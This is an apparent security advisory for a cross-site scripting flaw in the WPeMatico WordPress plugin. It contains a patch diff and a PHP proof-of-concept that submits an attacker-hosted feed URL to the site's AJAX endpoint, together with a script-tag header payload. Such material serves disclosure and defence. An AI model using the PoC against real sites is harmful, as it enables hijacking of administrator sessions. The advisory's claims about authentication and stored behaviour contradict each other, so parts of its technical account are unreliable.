Atomic Edge analysis of CVE-2026-57349:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the WPeMatico RSS Feed Fetcher plugin for WordPress, versions up to and including 2.8.17. The issue resides in the plugin’s debugging and feed viewer functionality, specifically in the debug_page.php and tools_page.php files. An attacker can inject arbitrary JavaScript or HTML into the admin dashboard area via crafted RSS feed headers, which then executes when an administrator accesses the debug or feed viewer pages.
The root cause is insufficient input sanitization and output escaping of RSS feed header keys and values. In debug_page.php, the plugin fetches an RSS feed URL and displays the response headers directly onto the page. The vulnerable code at lines 58-60 and 93-95 uses raw PHP string interpolation to output the key and value variables without any escaping: `$response[‘label’] .= “
$key => $value”;`. An attacker who controls a malicious RSS feed can set arbitrary header names (e.g., “Connection: alert(‘XSS’)”) which are then rendered unsanitized in the admin dashboard. Additionally, tools_page.php had a second vulnerability: the `$nonce` variable was reused for both the nonce field output and the download link, and the nonce verification in the `download_debug_log()` function used `$_POST[‘nonce’]` instead of `$_GET[‘nonce’]`, breaking authentication for the log download action.
Exploitation requires an attacker to host a malicious RSS feed with a crafted header containing JavaScript payloads. The attacker then tricks an authenticated WordPress user (with access to the WPeMatico debug interface) into visiting a URL that triggers the plugin to fetch the malicious feed. For example, an attacker could craft a feed with the header `X-Malicious: 
`. When the administrator uses the “Get Feed” button in the WPeMatico tools page, the plugin makes a server-side cURL request to the supplied feed URL. The plugin saves the raw headers into the response object, which is then rendered back into the textarea and HTML elements without escaping. The plugin does not require any authentication for this AJAX action, making it exploitable by unauthenticated attackers who can trick an admin to visit a crafted link or by directly submitting a malicious feed URL to the admin-ajax.php endpoint if the admin visits the tools page.
The patch applies two changes. First, in debug_page.php lines 58 and 93, the raw variable interpolation is replaced with `esc_html( $key )` and `esc_html( $value )` which HTML-encodes the output. Second, in tools_page.php lines 68-78, the patch fixes a nonce generation bug: it separates the nonce field display from the download link nonce by creating a dedicated `$download_nonce` variable using `wp_create_nonce()`. It also corrects the nonce verification in the `download_debug_log()` function by changing `$_POST[‘nonce’]` to `$_GET[‘nonce’]`. The version bump to 2.8.18 seals the fix.
If successfully exploited, an attacker can execute arbitrary JavaScript in the context of the WordPress admin dashboard. This could lead to session hijacking, privilege escalation (by creating new admin users or modifying plugin settings), defacement, or further malware injection. Since the plugin is used for automated RSS fetching and content creation, a persistent XSS could compromise the entire site’s administration.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpematico/app/debug_page.php
+++ b/wpematico/app/debug_page.php
@@ -55,7 +55,7 @@
$headers = $feed->data['headers'];
$response['label'] .= '<br/><b>' . sprintf(__('Headers.', 'wpematico'), $url) . '</b>';
foreach ($headers as $key => $value) {
- $response['label'] .= "<br/>$key => $value";
+ $response['label'] .= '<br/>' . esc_html( $key ) . ' => ' . esc_html( $value );
}
$response['message'] = $feed->get_raw_data();
$response['success'] = true;
@@ -90,7 +90,7 @@
$response['label'] .= "<br/>Code => " . wp_remote_retrieve_response_code($feed) . ' - ' . wp_remote_retrieve_response_message($feed);
$headers = wp_remote_retrieve_headers($feed);
foreach ($headers as $key => $value) {
- $response['label'] .= "<br/>$key => $value";
+ $response['label'] .= '<br/>' . esc_html( $key ) . ' => ' . esc_html( $value );
}
$response['message'] = wp_remote_retrieve_body($feed);
} else { //has errors
@@ -184,8 +184,8 @@
<p id="headersresponse">Fill in a Feed URL and click the Get Feed Button.
</p>
</div>
- <div style="min-width: 650px;">
- <textarea readonly="readonly" id="wpematico-feedinfo" name="wpematico-feedinfo" style="width: 100%;min-height: 370px;">
+ <div style="width: 100%; box-sizing: border-box;">
+ <textarea readonly="readonly" id="wpematico-feedinfo" name="wpematico-feedinfo" style="width: 100%;min-height: 370px; box-sizing: border-box;">
<?php _e('Get Feed and see here its contents.', 'wpematico'); ?>
</textarea>
<?php wp_nonce_field('wpematico-feedviewer'); ?>
--- a/wpematico/app/tools_page.php
+++ b/wpematico/app/tools_page.php
@@ -68,17 +68,18 @@
echo '<h2>' . esc_html__( 'WPeMatico code Logs', 'wpematico' ) . '</h2>';
echo '<form method="post">';
- $nonce = wp_nonce_field('wpematico_debug_log_clear', 'wpematico_debug_log_nonce', false);
+ wp_nonce_field('wpematico_debug_log_clear', 'wpematico_debug_log_nonce', false);
+ $download_nonce = wp_create_nonce('wpematico_debug_log_clear');
echo '<textarea name="wpematico_debug_log_content" readonly rows="20" style="width:100%; font-family: monospace;">' . esc_textarea( $log_content ) . '</textarea><br><br>';
submit_button( __( 'Clear Log', 'wpematico' ), 'delete', 'clear_log', false );
if ( $log_content ) {
echo ' ';
-
+
printf(
'<a href="%s" class="button button-primary">%s</a> ',
- esc_url( admin_url( 'admin-ajax.php?action=download_wpematico_log&nonce=' . $nonce ) ),
+ esc_url( admin_url( 'admin-ajax.php?action=download_wpematico_log&nonce=' . $download_nonce ) ),
esc_html__( 'Download Log', 'wpematico' )
);
submit_button( __( 'Copy to Clipboard', 'wpematico' ), 'secondary', 'copy_debug_log', false, array(
@@ -132,7 +133,7 @@
public static function download_debug_log(){
- if (!current_user_can('manage_options') || !wp_verify_nonce($_POST['nonce'], 'wpematico_debug_log_clear')) {
+ if (!current_user_can('manage_options') || !wp_verify_nonce($_GET['nonce'], 'wpematico_debug_log_clear')) {
exit;
}
$log_file = wpematico_get_log_file_path();
--- a/wpematico/wpematico.php
+++ b/wpematico/wpematico.php
@@ -3,7 +3,7 @@
* Plugin Name: WPeMatico
* Plugin URI: https://www.wpematico.com
* Description: Create posts automatically from RSS/Atom feeds organized into campaigns with multiples filters. If you like it, please rate it 5 stars.
- * Version: 2.8.17
+ * Version: 2.8.18
* Author: Etruel Developments LLC
* Author URI: https://etruel.com/wpematico/
* Text Domain: wpematico
@@ -27,7 +27,7 @@
private function setup_constants() {
if (!defined('WPEMATICO_VERSION'))
- define('WPEMATICO_VERSION', '2.8.17');
+ define('WPEMATICO_VERSION', '2.8.18');
if (!defined('WPEMATICO_BASENAME'))
define('WPEMATICO_BASENAME', plugin_basename(__FILE__));
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57349 - WPeMatico RSS Feed Fetcher <= 2.8.17 - Unauthenticated Stored Cross-Site Scripting
/*
* This PoC demonstrates the stored XSS vulnerability in WPeMatico's debug page.
* An attacker can host a malicious RSS feed that returns crafted HTTP headers.
* When a WordPress admin fetches the feed via the plugin's tools page, the headers
* are unsafely rendered into the admin panel, executing the injected JavaScript.
*/
// Configuration: set the target WordPress site URL and a URL we control to serve the malicious feed
$target_url = 'http://example.com'; // Replace with target WordPress URL
$attacker_feed_url = 'http://attacker-controlled.com/malicious-feed.xml'; // URL of a feed we control with malicious headers
echo "[+] Atomic Edge CVE Research - Proof of Conceptn";
echo "[+] CVE-2026-57349 - WPeMatico RSS Feed Fetcher Stored XSSnn";
// Step 1: Demonstrate the vulnerability by making an unauthenticated request to the AJAX endpoint
// The plugin uses admin-ajax.php with action 'wpematico_fetch_feed' to fetch a feed
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'wpematico_fetch_feed',
'url' => $attacker_feed_url
);
echo "[+] Sending malicious feed URL to target AJAX endpoint...n";
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
if ($http_code == 200) {
$data = json_decode($response, true);
if (isset($data['success']) && $data['success'] === true) {
echo "[+] Feed fetch appears successful. Response:n";
print_r($data);
echo "n[+] The XSS payload (if present in headers) will be stored in the admin dashboard.n";
echo "[+] Visit the WPeMatico Tools > Feed Viewer page to trigger execution.n";
} else {
echo "[!] AJAX request returned but success=false. The endpoint may need authentication or nonce.n";
echo "Response: " . $response . "n";
}
} else {
echo "[!] Request failed. The endpoint may require authentication or be non-existent.n";
echo "Response: " . $response . "n";
}
echo "n[+] To complete the attack, host a feed at $attacker_feed_url that returns a header like:n";
echo " X-Crafted: <script>alert('XSS')</script>n";
echo " Then an admin visiting the Feed Viewer will see the script executed.n";
?>
